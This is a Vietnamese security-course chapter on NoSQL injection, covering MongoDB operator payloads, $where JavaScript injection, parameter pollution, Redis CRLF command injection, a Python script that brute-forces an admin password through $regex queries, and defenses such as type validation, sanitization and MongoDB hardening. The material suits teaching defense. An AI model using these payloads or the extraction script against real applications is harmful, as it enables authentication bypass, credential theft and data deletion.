Chương 13: NoSQL Injection
Khái niệm
NoSQL Injection là biến thể của injection attack nhắm vào các database NoSQL (MongoDB, CouchDB, Redis, etc.) thay vì SQL databases. Kỹ thuật tấn công khác nhau nhưng hậu quả tương tự: bypass authentication, đọc dữ liệu trái phép, hoặc xóa data.
Mức độ nguy hiểm: Cao — Đặc biệt với MongoDB vì widespread usage trong microservices.
NoSQL Khác SQL Như Thế Nào?
| Đặc điểm | SQL | NoSQL (MongoDB) |
|---|---|---|
| Query language | SQL text | JSON operators |
| Structure | Tables/Rows | Collections/Documents |
| Schema | Fixed | Flexible |
| Injection vector | SQL keywords | JSON operators ($where, $regex) |
MongoDB NoSQL Injection
1. Operator Injection
MongoDB dùng JSON operators trong queries:
// Normal query
db.users.find({username: "alice", password: "pass123"})
// App nhận từ request body JSON:
// {"username": "alice", "password": "pass123"}
Tấn công bằng MongoDB operators:
// Thay password bằng operator
{
"username": "admin",
"password": {"$ne": null}
}
Query trở thành:
db.users.find({username: "admin", password: {$ne: null}})
// $ne: not equal → password != null → đúng với mọi user có password
// → Login thành công mà không cần biết password!
Các operators phổ biến:
// $ne (not equal) - bypass password
{"password": {"$ne": "wrong"}}
{"password": {"$ne": null}}
// $gt (greater than) - bypass numeric check
{"age": {"$gt": 0}}
// $regex - bypass bằng regex
{"username": {"$regex": "admin"}}
{"username": {"$regex": ".*"}}
// $where - JavaScript execution (rất nguy hiểm!)
{"$where": "this.username === 'admin'"}
{"$where": "sleep(5000) || true"} // DoS
// $exists
{"admin": {"$exists": true}}
// In array
{"role": {"$in": ["admin", "superuser"]}}
2. $where Injection — JavaScript Execution
$where cho phép chạy JavaScript expressions trong MongoDB query:
// Vulnerable code
db.users.find({$where: `this.username === '${username}'`})
// Normal: username = "alice"
// Query: {$where: "this.username === 'alice'"}
// Injection: username = "' || '1'=='1"
// Query: {$where: "this.username === '' || '1'=='1'"}
// → Return tất cả documents!
// Injection: username = "'; sleep(5000); //"
// → Time-based blind injection (DoS nếu nhiều requests)
Extract data qua $where:
// username = "' || (this.password[0] === 'p') || '0'=='1"
// → Nếu true: return user → đoán từng ký tự password
// Automation:
for char in 'abcdefghijklmnopqrstuvwxyz':
payload = f"' || (this.password[0] === '{char}') || '0'=='1"
response = login(admin, payload)
if response.ok:
print(f"First char of password: {char}")
3. HTTP Parameter Pollution
Khi app nhận query params và chuyển thành MongoDB query:
GET /api/login?username=admin&password=pass
→ db.users.find({username: "admin", password: "pass"})
Bypass bằng PHP array notation:
GET /api/login?username=admin&password[$ne]=invalid
→ db.users.find({username: "admin", password: {$ne: "invalid"}})
→ Login without password!
Express.js (Node.js) vulnerable:
// Vulnerable
app.post('/login', (req, res) => {
const { username, password } = req.body;
// req.body có thể là: {password: {$ne: null}}
User.findOne({username, password}, ...);
});
4. Aggregation Pipeline Injection
// Vulnerable
db.collection.aggregate([
{$match: {userId: userId}},
{$lookup: {from: "orders", localField: "_id", foreignField: "userId", as: "orders"}},
])
// userId = {$gt: ""} → match tất cả documents
Redis Injection
Redis commands qua web interface:
# Nếu app build Redis commands từ user input:
GET /data?key=user:1337
Redis: GET user:1337
# Injection: key = user:1337\r\nDEL user:1\r\n
# Gửi multiple Redis commands qua CRLF injection
Kịch bản tấn công: Authentication Bypass
Target: Node.js app + MongoDB login
POST /api/login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": {"$ne": null}}
Server code:
async function login(req, res) {
const user = await User.findOne({
username: req.body.username,
password: req.body.password // ← Không validate type!
});
if (user) return res.json({token: generateToken(user)});
res.status(401).json({error: "Invalid credentials"});
}
Query thực thi: db.users.findOne({username: "admin", password: {$ne: null}})
→ Match với admin user (password not null)
→ Return admin user → login thành công!
Blind NoSQL Injection — Data Extraction
# Extract password từng ký tự bằng $regex
import requests
import string
target = "https://example.com/api/login"
headers = {"Content-Type": "application/json"}
known_password = ""
charset = string.ascii_lowercase + string.digits + "!@#$%^&*"
for position in range(20): # Max password length
found = False
for char in charset:
payload = {
"username": "admin",
"password": {
"$regex": f"^{re.escape(known_password + char)}"
}
}
response = requests.post(target, json=payload, headers=headers)
if response.status_code == 200:
known_password += char
found = True
print(f"Password so far: {known_password}")
break
if not found:
break
print(f"Full password: {known_password}")
Cách phát hiện
□ Thử MongoDB operators trong JSON body: {"$ne": null}, {"$gt": ""}
□ Thử PHP-style array notation trong query params: ?pass[$ne]=x
□ Error messages mention MongoDB/NoSQL
□ Behavior thay đổi với operator injection vs. normal input
□ Time-based: {"$where": "sleep(5000) || true"}
□ Check nếu app dùng $where operator
□ Thử inject operators vào mọi field trong JSON body
Phòng chống
1. Input Type Validation
// Node.js với Mongoose
const loginSchema = {
username: { type: String, required: true },
password: { type: String, required: true }
};
app.post('/login', (req, res) => {
const { error, value } = Joi.object(loginSchema).validate(req.body);
if (error) return res.status(400).json({error: "Invalid input format"});
// Đảm bảo username và password là strings
const { username, password } = value;
// Bây giờ safe vì Joi đã validate types
User.findOne({username, password: hashPassword(password)})
});
2. Sanitize Input
// Express với mongo-sanitize
const mongoSanitize = require('express-mongo-sanitize');
// Middleware: remove keys bắt đầu bằng $
app.use(mongoSanitize());
// Hoặc manual:
function sanitizeQuery(input) {
if (typeof input === 'object' && input !== null) {
for (let key of Object.keys(input)) {
if (key.startsWith('$')) {
delete input[key];
} else {
sanitizeQuery(input[key]);
}
}
}
return input;
}
3. Disable Dangerous Features
// Mongoose: Disable $where operator
mongoose.connect(uri, {
// Mongoose không trực tiếp expose $where qua model methods
// Nhưng tránh dùng raw queries với $where
});
// Nếu cần raw query, validate trước
const allowedOperators = ['$eq', '$gt', '$lt', '$gte', '$lte', '$in'];
function validateQuery(query) {
function checkOperators(obj) {
if (typeof obj !== 'object') return;
for (const key of Object.keys(obj)) {
if (key.startsWith('$') && !allowedOperators.includes(key)) {
throw new Error(`Operator ${key} not allowed`);
}
checkOperators(obj[key]);
}
}
checkOperators(query);
}
4. Parameterized Queries (NoSQL equivalent)
# Python với PyMongo
from pymongo import MongoClient
from bson import ObjectId
client = MongoClient('mongodb://localhost:27017')
db = client.mydb
# ĐÚNG: Dùng parameters riêng biệt, không string concat
def find_user(username, password_hash):
return db.users.find_one({
'username': username, # String literal, không thể inject operator
'password': password_hash
})
# SAI: Build query từ untrusted dict
def find_user_bad(query_dict):
return db.users.find_one(query_dict) # ← Hacker control toàn bộ query!
Góc nhìn DevOps
MongoDB Security Config:
# mongod.conf
security:
authorization: enabled # Enable authentication
javascriptEnabled: false # QUAN TRỌNG: Disable JavaScript execution ($where)
net:
bindIp: 127.0.0.1 # Không bind 0.0.0.0
# Không expose MongoDB port ra internet!
Kubernetes MongoDB:
# MongoDB chỉ accessible trong cluster
apiVersion: v1
kind: Service
metadata:
name: mongodb
spec:
type: ClusterIP # Internal only
selector:
app: mongodb
ports:
- port: 27017
Auth với minimal privileges:
// Tạo user với quyền tối thiểu
use mydb
db.createUser({
user: "app_user",
pwd: "strong_password",
roles: [
{ role: "readWrite", db: "mydb" }
// Không phải dbAdmin hay clusterAdmin
]
})
Tóm tắt
- NoSQL Injection dùng database-specific operators thay vì SQL keywords.
- MongoDB dễ bị operator injection ($ne, $gt, $regex, $where) nếu không validate input types.
$whereoperator cho phép JavaScript execution — đặc biệt nguy hiểm.- Phòng chống: validate types (string chứ không phải object), sanitize operators, disable javascriptEnabled.
- express-mongo-sanitize là middleware hữu ích cho Node.js apps.
- Không expose MongoDB port ra ngoài — luôn dùng ClusterIP trong K8s.
Câu hỏi ôn tập
- Tại sao
{"password": {"$ne": null}}bypass MongoDB authentication? - Sự khác biệt giữa SQL injection và NoSQL operator injection là gì?
$whereoperator trong MongoDB nguy hiểm như thế nào?- Làm thế nào để phòng chống NoSQL injection trong Express.js application?
- Tại sao
javascriptEnabled: falsetrong mongod.conf quan trọng?